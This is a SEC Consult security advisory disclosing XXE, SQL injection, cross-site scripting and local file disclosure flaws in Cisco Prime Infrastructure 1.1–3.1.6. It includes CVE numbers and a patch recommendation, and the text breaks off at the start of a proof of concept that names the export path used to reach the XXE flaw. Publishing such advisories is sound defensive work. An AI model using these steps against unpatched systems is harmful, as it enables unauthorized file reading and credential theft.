SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management." Source: https://en.wikipedia.org/wiki/Cisco_Systems Business recommendation: ------------------------ SEC Consult recommends to install the latest patch to fix the identified vulnerabilities. Furthermore, the Cisco Prime Infrastructure should be reachable only from trusted internal network and/or whitelisted IP addresses. Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities. Vulnerability overview/description: ----------------------------------- SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user. 1) XML External Entity Injection (CVE-2017-6662) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information files with malicious XML code. The hashed password of the local admin user can be accessed without authorization. 2) SQL Injection (CVE-2017-6698) The identified SQL injection vulnerability enables an authenticated attacker with low privileges to execute arbitrary SQL commands. 3) Cross site scripting (CVE-2017-6699, CVE-2017-6700) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context. 4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images.
